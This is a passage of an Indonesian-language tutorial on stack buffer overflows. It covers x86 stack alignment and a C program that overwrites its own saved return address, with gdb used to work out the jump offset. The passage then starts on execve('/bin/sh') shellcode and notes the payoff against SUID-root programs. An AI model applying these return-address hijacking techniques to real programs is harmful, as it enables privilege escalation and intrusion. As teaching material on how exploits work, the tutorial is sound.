 /*&lt;br /&gt;
   atau sebaiknya dipanggil dengan:&lt;br /&gt;
     func3(4, 5, (char *) 6);&lt;br /&gt;
   supaya gcc tidak rewel masalah casting.&lt;br /&gt;
 */&lt;br /&gt;
 &lt;br /&gt;
 /*&lt;br /&gt;
   func_C(&#039;A&#039;);&lt;br /&gt;
   func_CS(&#039;B&#039;, 123);&lt;br /&gt;
   func_CSD(&#039;C&#039;, 45678, 91011.1213);&lt;br /&gt;
 */ &lt;br /&gt;
 &lt;br /&gt;
   return(0);&lt;br /&gt;
 }  &lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Ternyata konversi assembly untuk fungsi-fungsi func0 - func3&lt;br /&gt;
 tersebut semua sama saja, hanya berisi prolog dan epilog,&lt;br /&gt;
 tampaknya selama parameter yang dilewatkan bertipe integer 32 bit&lt;br /&gt;
 atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang&lt;br /&gt;
 dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan&lt;br /&gt;
 passing pointer.&lt;br /&gt;
 &lt;br /&gt;
 Untuk tipe data char/short, fungsi akan mengalokasikan stack&lt;br /&gt;
 untuk menampung manipulasi data, sebagaimana variabel lokal, yang&lt;br /&gt;
 akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real&lt;br /&gt;
 dipergunakan juga floating-point stack st0-st7.&lt;br /&gt;
 Silakan buka comment diatas dan lihat sendiri listingnya :).&lt;br /&gt;
 &lt;br /&gt;
 Pada fungsi main() mulai terjadi &#039;silat lidah&#039; antara compiler&lt;br /&gt;
 dengan assembler :),&lt;br /&gt;
 &lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 main:&lt;br /&gt;
   pushl %ebp		; &amp;gt;prolog&lt;br /&gt;
   movl %esp,%ebp	; &amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   subl $8,%esp		; &amp;gt;prologue_set_stack_ptr&lt;br /&gt;
 			; &amp;gt;alignment 16, setelah-&lt;br /&gt;
 			; &amp;gt;(PUSH BP dan IP) = -8&lt;br /&gt;
 &lt;br /&gt;
   addl $-12,%esp	; karena hanya ada satu parameter,&lt;br /&gt;
   pushl $1		; maka offset penala stack adalah&lt;br /&gt;
   call func1		;   (1 * 4) - 16 = -12&lt;br /&gt;
   addl $16,%esp		; penala stack, alignment 16&lt;br /&gt;
 &lt;br /&gt;
   addl $-8,%esp		; 2 param -&amp;gt; (2 * 4) - 16 = -8&lt;br /&gt;
   pushl $3&lt;br /&gt;
   pushl $2&lt;br /&gt;
   call func2&lt;br /&gt;
   addl $16,%esp		; penala stack&lt;br /&gt;
 &lt;br /&gt;
   addl $-4,%esp		; 3 param -&amp;gt; (3 * 4) - 16 = -4 &lt;br /&gt;
   pushl $6		; jika ada 4 param, maka offset = 0&lt;br /&gt;
   pushl $5		; ..dan selanjutnya.. berulang,&lt;br /&gt;
   pushl $4		; jika ada 5 param, offset = -12&lt;br /&gt;
   call func3		; dengan penala stack = 32&lt;br /&gt;
   addl $16,%esp		; &lt;br /&gt;
 &lt;br /&gt;
   xorl %eax,%eax	; cara yang lebih efisien untuk&lt;br /&gt;
 			; menyatakan EAX=0&lt;br /&gt;
   jmp .L6&lt;br /&gt;
 &lt;br /&gt;
 .L6:&lt;br /&gt;
   leave			; &amp;gt;epilog&lt;br /&gt;
   ret			; &amp;gt;&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 gambar-3.1a.&lt;br /&gt;
   -SP sebelum pemanggilan fungsi ----&amp;gt;&lt;br /&gt;
                                      |&lt;br /&gt;
   Offset penala stack                |&lt;br /&gt;
     func3 -04 -------------------&amp;gt;   |&lt;br /&gt;
     func2 -08 ---------------&amp;gt;   |   |&lt;br /&gt;
     func1 -12 -----------&amp;gt;   |   |   |             main()&lt;br /&gt;
 ____//___________________|___|___|___|___________|___|_&lt;br /&gt;
     //               |   |   |   |   |       |   |   | &lt;br /&gt;
     //               | I | L | C | # | sub 8 |BP |RET|&lt;br /&gt;
 ____//_______________|___|___|___|___|_______|___|___|_&lt;br /&gt;
     //               |   .   .   |   |       |   |   |&lt;br /&gt;
 000                  84  .   .   |   100     |       116&lt;br /&gt;
                      |   .   .   |   |       |&lt;br /&gt;
                      |   &amp;lt;--------alignments-&amp;gt;&lt;br /&gt;
                      V&lt;br /&gt;
   -SP setelah pemanggilan fungsi&lt;br /&gt;
 &lt;br /&gt;
 Dari gambaran diatas, untuk ketiga fungsi tsb ternyata&lt;br /&gt;
 pada akhirnya SP bernilai sama.&lt;br /&gt;
 &lt;br /&gt;
 Dalam contoh selanjutnya kita akan membuat variabel lokal&lt;br /&gt;
 &lt;br /&gt;
 contoh2.c&lt;br /&gt;
 --------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Void func1(char * S) {&lt;br /&gt;
   char buf0[1];			/* paragraf 1: -24 */&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void func2(char * S) {&lt;br /&gt;
   char buf20[1], buf21[3];	/* paragraf 1: -24 */&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void func3(char * S) {&lt;br /&gt;
   char buf30[1]; char buf31[3]; char buf32[5];&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void func4(char * S) {&lt;br /&gt;
   char buf40[1]; char buf41[3]; char buf42[5];&lt;br /&gt;
   char buf43[7];		/* paragraf 2: -40 */&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 void func5(int I, long L, char * P) {&lt;br /&gt;
   char buf50[1]; char buf51[3]; char buf52[5];&lt;br /&gt;
   char buf53[7];		/* paragraf 2: -40 */&lt;br /&gt;
   char buf54[9];		/* paragraf 3: -56 */&lt;br /&gt;
 &lt;br /&gt;
 /* akses variabel lokal */&lt;br /&gt;
   buf50[0]=0; &lt;br /&gt;
   buf51[0]=100; buf51[2]=102;&lt;br /&gt;
   buf52[0]=200; buf52[4]=204;&lt;br /&gt;
   buf53[0]=&#039;3&#039;;&lt;br /&gt;
   buf54[0]=&#039;4&#039;;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main(void) {&lt;br /&gt;
   char buf0[512];&lt;br /&gt;
   func5(12345, 678910, buf0);&lt;br /&gt;
 }&lt;br /&gt;
 --------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa&lt;br /&gt;
 pengalokasian stack juga dilakukan dalam alignment 16. listing&lt;br /&gt;
 func1, func2 dan func3 adalah identik sbb:&lt;br /&gt;
 &lt;br /&gt;
 func1, func2 &amp;amp; func 3:&lt;br /&gt;
   pushl %ebp		; &amp;gt;prolog&lt;br /&gt;
   movl %esp,%ebp	; &amp;gt;&lt;br /&gt;
   subl $24,%esp		; &amp;gt;prologue_set_stack_ptr&lt;br /&gt;
 			; &amp;gt;default 8, +16 = 24&lt;br /&gt;
 &lt;br /&gt;
 Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi&lt;br /&gt;
 sejumlah 1 paragraf sehingga total sub menjadi 40.&lt;br /&gt;
 &lt;br /&gt;
 func 4:&lt;br /&gt;
   .&lt;br /&gt;
   subl $40,%esp		; &amp;gt;prologue_set_stack_ptr&lt;br /&gt;
   .			; &amp;gt;8 + 16 + 16 = 40&lt;br /&gt;
 &lt;br /&gt;
 Akses terhadap argumen yang diberikan, dapat dilihat&lt;br /&gt;
 dalam listing func5 sbb:&lt;br /&gt;
 &lt;br /&gt;
 func5:&lt;br /&gt;
   pushl %ebp		; &amp;gt;prolog&lt;br /&gt;
   movl %esp,%ebp	;&lt;br /&gt;
   subl $56,%esp		; &amp;gt;prologue_set_stack_ptr&lt;br /&gt;
 &lt;br /&gt;
   movb $48,-1(%ebp)	; -buf50[0] = &#039;0&#039;&lt;br /&gt;
   movb $100,-8(%ebp)	; -buf51[0] = 100&lt;br /&gt;
   movb $102,-6(%ebp)	; -buf51[0] = 102&lt;br /&gt;
   movb $-56,-16(%ebp)	; -buf52[0] = 200 (unsigned)&lt;br /&gt;
   movb $-52,-12(%ebp)	; -buf52[0] = 204 (unsigned)&lt;br /&gt;
   movb $30,-24(%ebp)	; -buf53[0] = 30&lt;br /&gt;
   movb $36,-18(%ebp)	; -buf53[0] = 36&lt;br /&gt;
   movb $40,-36(%ebp)	; -buf54[0] = 40&lt;br /&gt;
   movb $48,-28(%ebp)	; -buf54[0] = 48&lt;br /&gt;
 &lt;br /&gt;
   leave			; &amp;gt;epilog&lt;br /&gt;
   ret			; &amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan&lt;br /&gt;
 bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di&lt;br /&gt;
 bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam&lt;br /&gt;
 mengalokasikan variabel lokal, dilakukan alignment 4 atau dword,&lt;br /&gt;
 untuk string yang berisi lebih dari 3 character, sementara yang&lt;br /&gt;
 isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat&lt;br /&gt;
 dibawah, buf50 mepet banget sama BP.&lt;br /&gt;
 &lt;br /&gt;
 gambar-3.1b.&lt;br /&gt;
             &amp;gt;buf53&amp;lt; buf52  buf51 buf50      &amp;lt;---arguments---&amp;gt;&lt;br /&gt;
             |     | ^   ^   ^ ^    ^        |    main() &lt;br /&gt;
 ____//______|_____|_|___|___|_|____||_______|_______________|&lt;br /&gt;
     // dst. 3333333 22222   111    0|   |   |   |   |   |   |&lt;br /&gt;
     //      |     |X|   |XXX| |XXXX||BP |RET| I | L | S |XXX|&lt;br /&gt;
 ____//______|_____|_|___|___|_|____||___|___|___|___|___|___|&lt;br /&gt;
     //      |               |       |       |               |&lt;br /&gt;
 000         52              68              84              100&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 legenda:&lt;br /&gt;
   X: slack/tidak digunakan akibat alignment&lt;br /&gt;
   BP: Base Pointer&lt;br /&gt;
   I, L dan S: parameter yang dimasukkan&lt;br /&gt;
   RET: Return Address&lt;br /&gt;
 &lt;br /&gt;
 Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/&lt;br /&gt;
 parameter adalah di sebelah kanan BP, jadi diakses dengan offset&lt;br /&gt;
 positif terhadap BP, sebaliknya dengan variabel lokal.&lt;br /&gt;
 &lt;br /&gt;
 Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti&lt;br /&gt;
 tentang hal itu? Hm.. enggak ada ya :(&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3.2. Mengalihkan Return Address&lt;br /&gt;
 &lt;br /&gt;
 Mumpung masih hangat, mari kita coba membuat sebuah contoh&lt;br /&gt;
 bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu&lt;br /&gt;
 TK hai tukang kayu), maksud saya adalah mengalihkan alur program&lt;br /&gt;
 dengan cara merubah nilai return address yang tersimpan di stack.&lt;br /&gt;
 Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas&lt;br /&gt;
 tadi (bedanya cuma 1).&lt;br /&gt;
 &lt;br /&gt;
 Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk&lt;br /&gt;
 mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya&lt;br /&gt;
 saudara-saudara... adalah...: Return Adress!!!&lt;br /&gt;
 &lt;br /&gt;
 Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan&lt;br /&gt;
 sebuah pointer agar nanti bisa kita rubah seenak udel kita.&lt;br /&gt;
 &lt;br /&gt;
 kira-kira nanti begini:&lt;br /&gt;
 &lt;br /&gt;
   char buf0[1];&lt;br /&gt;
 	/* ingat, diatas itu tidak beda dengan: char * buf0 */&lt;br /&gt;
 	/* jadi masih sodara-an lah sama int * ret dibawah */&lt;br /&gt;
   int * ret;&lt;br /&gt;
 &lt;br /&gt;
 kemudian kita arahkan ret ke return address: tolong harap diingat&lt;br /&gt;
 bahwa penambahan di bawah ini adalah untuk pointer ke character /&lt;br /&gt;
 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya,&lt;br /&gt;
 untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan&lt;br /&gt;
 menggeser pointer sebanyak 4 byte / lokasi address.&lt;br /&gt;
 &lt;br /&gt;
   ret = buf0 +1 +4;&lt;br /&gt;
 &lt;br /&gt;
 atau kalo gcc rewel, bisa kita cast sebagai:&lt;br /&gt;
 &lt;br /&gt;
   (char *) ret = buf0 +1 +4; &lt;br /&gt;
 &lt;br /&gt;
 akhirnya kita ubah return address :)&lt;br /&gt;
 &lt;br /&gt;
   *ret = (hm... berapa ya?)&lt;br /&gt;
 &lt;br /&gt;
 sebaiknya kita gunakan variabel saja supaya gampang diubah,&lt;br /&gt;
 sehingga lengkapnya program kita adalah:&lt;br /&gt;
 &lt;br /&gt;
 contoh3.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 void func(int I) {&lt;br /&gt;
   char buf0[1];&lt;br /&gt;
   int * ret;&lt;br /&gt;
 &lt;br /&gt;
   ret = buf0 +1 +4;&lt;br /&gt;
   (*ret) += I;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 int main(int argc, char *argv[]) {&lt;br /&gt;
   char * shell[2];&lt;br /&gt;
   int i = 0;&lt;br /&gt;
 &lt;br /&gt;
   if (argc &amp;gt; 1) i = atoi(argv[1]);&lt;br /&gt;
 &lt;br /&gt;
   shell[0]=&amp;quot;/bin/sh&amp;quot;;&lt;br /&gt;
   shell[1]=&amp;quot;/usr/local/bin/bash&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   func(i);&lt;br /&gt;
 &lt;br /&gt;
   printf(&amp;quot;print#1: lokasi1: %X\n&amp;quot;, &amp;amp;shell[0]);	/* print#1 */&lt;br /&gt;
   printf(&amp;quot;print#2: lokasi2: %X\n&amp;quot;, &amp;amp;shell[1]);	/* print#2 */&lt;br /&gt;
   printf(&amp;quot;print#3: shell1: %s\n&amp;quot;, shell[0]);	/* print#3 */&lt;br /&gt;
   printf(&amp;quot;print#4: shell2: %s\n&amp;quot;, shell[1]);	/* print#4 */&lt;br /&gt;
 &lt;br /&gt;
   return(0);&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Program diatas akan memindahkan alur program sejauh input yang&lt;br /&gt;
 kita berikan. Jangan terlalu diperhatikan baris-baris perintah&lt;br /&gt;
 main() sebelum pemanggilan func. itu cuma inisialisasi serta&lt;br /&gt;
 pengechekan input.&lt;br /&gt;
 &lt;br /&gt;
 setelah pemanggilan fungsi func *seharusnya* program melaksanakan&lt;br /&gt;
 perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu&lt;br /&gt;
 nilai tertentu sebagai argument maka program akan dilompatkan&lt;br /&gt;
 sejauh nilai yang kita berikan.&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./contoh3&lt;br /&gt;
 print#1 lokasi1: BFBFFBA8&lt;br /&gt;
 print#2 lokasi2: BFBFFBAC&lt;br /&gt;
 print#3 shell1: /bin/sh&lt;br /&gt;
 print#4 shell2: /usr/local/bin/bash&lt;br /&gt;
 &lt;br /&gt;
 kita coba beberapa buah nilai:&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./contoh3 1&lt;br /&gt;
 Bus error (core dumped)&lt;br /&gt;
 [aa]$./contoh3 2&lt;br /&gt;
 Segmentation fault (core dumped)&lt;br /&gt;
 [aa]$./contoh3 4&lt;br /&gt;
 Illegal instruction (core dumped)&lt;br /&gt;
 [aa]$./contoh3 100&lt;br /&gt;
 Segmentation fault (core dumped)&lt;br /&gt;
 [aa]$./contoh3 1000&lt;br /&gt;
 Segmentation fault (core dumped)&lt;br /&gt;
 [aa]$./contoh3 -1&lt;br /&gt;
 Bus error (core dumped)&lt;br /&gt;
 [aa]$./contoh3 -100&lt;br /&gt;
 [aa]$./contoh3 -1000&lt;br /&gt;
 Segmentation fault (core dumped)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Maksudnya apa sih?&lt;br /&gt;
 &lt;br /&gt;
 Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk&lt;br /&gt;
 (misalnya) melompat langsung kepada printf#3, melewati print#1&lt;br /&gt;
 dan print#2.&lt;br /&gt;
 &lt;br /&gt;
 kita debug saja deh...&lt;br /&gt;
 &lt;br /&gt;
 [aa]$gdb -q contoh3&lt;br /&gt;
 (gdb)&lt;br /&gt;
 (gdb) disass main&lt;br /&gt;
 Dump of assembler code for function main:&lt;br /&gt;
 0x80481ec &amp;lt;main&amp;gt;:       push   %ebp&lt;br /&gt;
 0x80481ed &amp;lt;main+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;
 0x80481ef &amp;lt;main+3&amp;gt;:     sub    $0x18,%esp&lt;br /&gt;
 0x80481f2 &amp;lt;main+6&amp;gt;:     movl   $0x0,0xfffffff4(%ebp)&lt;br /&gt;
 0x80481f9 &amp;lt;main+13&amp;gt;:    cmpl   $0x1,0x8(%ebp)&lt;br /&gt;
 0x80481fd &amp;lt;main+17&amp;gt;:    jle    0x8048218 &amp;lt;main+44&amp;gt;&lt;br /&gt;
 0x80481ff &amp;lt;main+19&amp;gt;:    add    $0xfffffff4,%esp&lt;br /&gt;
 0x8048202 &amp;lt;main+22&amp;gt;:    mov    0xc(%ebp),%eax&lt;br /&gt;
 0x8048205 &amp;lt;main+25&amp;gt;:    add    $0x4,%eax&lt;br /&gt;
 0x8048208 &amp;lt;main+28&amp;gt;:    mov    (%eax),%edx&lt;br /&gt;
 0x804820a &amp;lt;main+30&amp;gt;:    push   %edx&lt;br /&gt;
 0x804820b &amp;lt;main+31&amp;gt;:    call   0x80483c8 &amp;lt;atoi&amp;gt;&lt;br /&gt;
 0x8048210 &amp;lt;main+36&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 0x8048213 &amp;lt;main+39&amp;gt;:    mov    %eax,%eax&lt;br /&gt;
 0x8048215 &amp;lt;main+41&amp;gt;:    mov    %eax,0xfffffff4(%ebp)&lt;br /&gt;
 0x8048218 &amp;lt;main+44&amp;gt;:    movl   $0x8052c8c,0xfffffff8(%ebp)&lt;br /&gt;
 0x804821f &amp;lt;main+51&amp;gt;:    movl   $0x8052c94,0xfffffffc(%ebp)&lt;br /&gt;
 0x8048226 &amp;lt;main+58&amp;gt;:    add    $0xfffffff4,%esp&lt;br /&gt;
 0x8048229 &amp;lt;main+61&amp;gt;:    mov    0xfffffff4(%ebp),%eax&lt;br /&gt;
 0x804822c &amp;lt;main+64&amp;gt;:    push   %eax&lt;br /&gt;
 0x804822d &amp;lt;main+65&amp;gt;:    call   0x80481c4 &amp;lt;func&amp;gt;&lt;br /&gt;
 0x8048232 &amp;lt;main+70&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 0x8048235 &amp;lt;main+73&amp;gt;:    add    $0xfffffff8,%esp&lt;br /&gt;
 0x8048238 &amp;lt;main+76&amp;gt;:    lea    0xfffffff8(%ebp),%eax&lt;br /&gt;
 0x804823b &amp;lt;main+79&amp;gt;:    push   %eax&lt;br /&gt;
 0x804823c &amp;lt;main+80&amp;gt;:    push   $0x8052ca8&lt;br /&gt;
 0x8048241 &amp;lt;main+85&amp;gt;:    call   0x80483e0 &amp;lt;printf&amp;gt;&lt;br /&gt;
 0x8048246 &amp;lt;main+90&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 0x8048249 &amp;lt;main+93&amp;gt;:    add    $0xfffffff8,%esp&lt;br /&gt;
 0x804824c &amp;lt;main+96&amp;gt;:    lea    0xfffffff8(%ebp),%eax&lt;br /&gt;
 0x804824f &amp;lt;main+99&amp;gt;:    lea    0x4(%eax),%edx&lt;br /&gt;
 0x8048252 &amp;lt;main+102&amp;gt;:   push   %edx&lt;br /&gt;
 0x8048253 &amp;lt;main+103&amp;gt;:   push   $0x8052cb6&lt;br /&gt;
 0x8048258 &amp;lt;main+108&amp;gt;:   call   0x80483e0 &amp;lt;printf&amp;gt;&lt;br /&gt;
 ---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&lt;br /&gt;
 0x8048260 &amp;lt;main+116&amp;gt;:   add    $0xfffffff8,%esp&lt;br /&gt;
 0x8048263 &amp;lt;main+119&amp;gt;:   mov    0xfffffff8(%ebp),%eax&lt;br /&gt;
 0x8048266 &amp;lt;main+122&amp;gt;:   push   %eax&lt;br /&gt;
 0x8048267 &amp;lt;main+123&amp;gt;:   push   $0x8052cc4&lt;br /&gt;
 0x804826c &amp;lt;main+128&amp;gt;:   call   0x80483e0 &amp;lt;printf&amp;gt;&lt;br /&gt;
 0x8048271 &amp;lt;main+133&amp;gt;:   add    $0x10,%esp&lt;br /&gt;
 0x8048274 &amp;lt;main+136&amp;gt;:   add    $0xfffffff8,%esp&lt;br /&gt;
 0x8048277 &amp;lt;main+139&amp;gt;:   mov    0xfffffffc(%ebp),%eax&lt;br /&gt;
 0x804827a &amp;lt;main+142&amp;gt;:   push   %eax&lt;br /&gt;
 0x804827b &amp;lt;main+143&amp;gt;:   push   $0x8052cd1&lt;br /&gt;
 0x8048280 &amp;lt;main+148&amp;gt;:   call   0x80483e0 &amp;lt;printf&amp;gt;&lt;br /&gt;
 0x8048285 &amp;lt;main+153&amp;gt;:   add    $0x10,%esp&lt;br /&gt;
 0x8048288 &amp;lt;main+156&amp;gt;:   xor    %eax,%eax&lt;br /&gt;
 0x804828a &amp;lt;main+158&amp;gt;:   jmp    0x804828c &amp;lt;main+160&amp;gt;&lt;br /&gt;
 0x804828c &amp;lt;main+160&amp;gt;:   leave&lt;br /&gt;
 0x804828d &amp;lt;main+161&amp;gt;:   ret&lt;br /&gt;
 End of assembler dump.&lt;br /&gt;
 (gdb) q&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang&lt;br /&gt;
 kita butuh adalah address setelah func dipanggil (address ini&lt;br /&gt;
 di-push ke stack pada saat pemanggilan func, nilai inilah yang&lt;br /&gt;
 kita rubah dalam fungsi func)&lt;br /&gt;
 &lt;br /&gt;
 .&lt;br /&gt;
 0x804822d &amp;lt;main+65&amp;gt;:    call   0x80481c4 &amp;lt;func&amp;gt;&lt;br /&gt;
 0x8048232 &amp;lt;main+70&amp;gt;:    add    $0x10,%esp&lt;br /&gt;
 .&lt;br /&gt;
 &lt;br /&gt;
 ...serta address setelah print#2 dipanggil. kita akan&lt;br /&gt;
 mengalihkan alur program ke sini.&lt;br /&gt;
 &lt;br /&gt;
 .&lt;br /&gt;
 0x8048258 &amp;lt;main+108&amp;gt;:   call   0x80483e0 &amp;lt;printf&amp;gt;&lt;br /&gt;
 0x804825d &amp;lt;main+113&amp;gt;:   add    $0x10,%esp&lt;br /&gt;
 .&lt;br /&gt;
 &lt;br /&gt;
 Untuk mengalihkan alur program dari address pertama diatas kepada&lt;br /&gt;
 address kedua, berarti return address harus diubah (ditambah)&lt;br /&gt;
 sebesar selisih antara keduanya.&lt;br /&gt;
 &lt;br /&gt;
 Dengan aljabar sederhana kita peroleh displacement offsetnya&lt;br /&gt;
 adalah sebesar: &amp;lt;main+113&amp;gt; - &amp;lt;main+70&amp;gt; = 113 - 70 = 43&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Mari kita coba sekali lagi...&lt;br /&gt;
 &lt;br /&gt;
 [aa]$./contoh3 43&lt;br /&gt;
 print#3: shell1: /bin/sh&lt;br /&gt;
 print#4: shell2: /usr/local/bin/bash&lt;br /&gt;
 [aa]$&lt;br /&gt;
 &lt;br /&gt;
 OK! :))&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 3.3. Exec Syscall&lt;br /&gt;
 &lt;br /&gt;
 Setelah sukses pertama membelokkan alur program ke tempat yang&lt;br /&gt;
 kita kehendaki selanjutnya kita perlu memilih apa yang akan kita&lt;br /&gt;
 jalankan dan dimana ditempatkannya. Umumnya program akan&lt;br /&gt;
 diarahkan untuk menjalankan shell /bin/sh, karena dari situ&lt;br /&gt;
 praktis kita dapat menjalankan yang lainnya terserah kita,&lt;br /&gt;
 apalagi jika program yang diekploit tersebut SUID root maka tunai&lt;br /&gt;
 sudah suratan, dan mereka hidup bahagia selamanya sampai akhir&lt;br /&gt;
 hayat. eng- ing- eeeng...&lt;br /&gt;
 &lt;br /&gt;
 untuk spawning shell code kita lihat lihat dan pelajari prototype&lt;br /&gt;
 dari fungsi execve(2).&lt;br /&gt;
 &lt;br /&gt;
 [aa]$man execve&lt;br /&gt;
 &lt;br /&gt;
 NAME&lt;br /&gt;
   execve - execute a file&lt;br /&gt;
 &lt;br /&gt;
 LIBRARY&lt;br /&gt;
   Standard C Library (libc, -lc)&lt;br /&gt;
 &lt;br /&gt;
 SYNOPSIS&lt;br /&gt;
   #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
   int&lt;br /&gt;
   execve(const char *path, char *const argv[], char *const envp[]);&lt;br /&gt;
 &lt;br /&gt;
 DESCRIPTION&lt;br /&gt;
   Execve() transforms the calling process.. bla-bla-bla...&lt;br /&gt;
  &lt;br /&gt;
 Fungsi ini adalah embahnya fungsi-fungsi exec yang lain,&lt;br /&gt;
 front-end-nya bisa berupa execl, execlp, execle, exect, execv&lt;br /&gt;
 dan execvp. Jika execve sukses dijalankan, selanjutnya program&lt;br /&gt;
 kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh&lt;br /&gt;
 proses yang memanggilnya. Cocok-lah dengan keinginan kita :)&lt;br /&gt;
 &lt;br /&gt;
 arg1 (path) harus berisi path string lengkap dari program yang&lt;br /&gt;
 akan kita jalankan, sementara arg2 (argv), adalah argumen list&lt;br /&gt;
 (array dari strings alias pointer ke pointer).&lt;br /&gt;
 Kedua argumen ini *harus* diisi dengan benar.&lt;br /&gt;
 &lt;br /&gt;
 kita isi arg1 (path) dengan string &amp;quot;/bin/sh&amp;quot; (shell), dan arg2&lt;br /&gt;
 dengan pointer ke string tsb. dengan NULL sebagai terminator.&lt;br /&gt;
 &lt;br /&gt;
 baca-baca juga manual exit(3) dan _exit(2) ya?&lt;br /&gt;
 &lt;br /&gt;
 langsung saja kita lihat program berikut listing assembly-nya:&lt;br /&gt;
 &lt;br /&gt;
 contoh4.c&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
   char * sh[2];&lt;br /&gt;
   sh[0] = &amp;quot;/usr/bin/perl&amp;quot;;&lt;br /&gt;
   sh[1] = NULL;&lt;br /&gt;
   execve(sh[0], sh, NULL);&lt;br /&gt;
   _exit(0);&lt;br /&gt;
 }&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
 &lt;br /&gt;
 Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak&lt;br /&gt;
 mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV&lt;br /&gt;
 mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address,&lt;br /&gt;
 sementara MOV artinya menyalin/mengkopi isi memori/register.&lt;br /&gt;
 &lt;br /&gt;
 gambar-3.3.&lt;br /&gt;
 ____//___________________________&lt;br /&gt;
     //     |1|3|5|7|9|A|C|E|&lt;br /&gt;
     //     |2|4|6|8|0|B|D|F|&lt;br /&gt;
 ____//_____|_|_|_|_|_|_|_|_|_____&lt;br /&gt;
     //     |               |&lt;br /&gt;
 000        92              100&lt;br /&gt;
 &lt;br /&gt;
 misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL&lt;br /&gt;
 %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678&lt;br /&gt;
 kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan&lt;br /&gt;
 menyalin *address* ESP atau 00000092 ke dalam EAX. jadi,&lt;br /&gt;
 EAX=00000092.&lt;br /&gt;
 &lt;br /&gt;
 Dalam syntax intel, instruksi LEA EAX,ESP identik dengan &lt;br /&gt;
   mov EAX, OFFSET [ESP]&lt;br /&gt;
 &lt;br /&gt;
 Dalam syntax att, jika operand untuk mov memakai prefix ($)&lt;br /&gt;
 maka yang diambil adalah: address-nya. Sebaliknya jika tidak&lt;br /&gt;
 memakai prefix, maka yang diambil adalah: isi-memori-nya&lt;br /&gt;
 &lt;br /&gt;
 movl $var,%eax =&amp;gt; EAX = address var&lt;br /&gt;
 movl var,%eax  =&amp;gt; EAX = nilai/isi memori dari var&lt;br /&gt;
 &lt;br /&gt;
 hati-hati, immediate operand (biasanya berupa angka), justru&lt;br /&gt;
 menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya&lt;br /&gt;
 menjadikan EAX bernilai -123.&lt;br /&gt;
 &lt;br /&gt;
 Sebaliknya untuk pengalamatan tidak langsung oleh register,&lt;br /&gt;
 notasinya adalah memakai tanda kurung.&lt;br /&gt;
 &lt;br /&gt;
 mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung&lt;br /&gt;
                    oleh BX. nilai BX = address.&lt;br /&gt;
 mov %ebx,%eax    : salin nilai BX kedalam AX&lt;br /&gt;
 &lt;br /&gt;
 Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri,&lt;br /&gt;
 jadi jika/selama tidak terdapat displacement lainnya dalam base&lt;br /&gt;
 indexing, maka instruksi: &amp;quot;lea (%ebx),%eax&amp;quot; hasilnya adalah sama&lt;br /&gt;
 saja dengan instruksi: &amp;quot;mov %ebx,%eax&amp;quot;&lt;br /&gt;
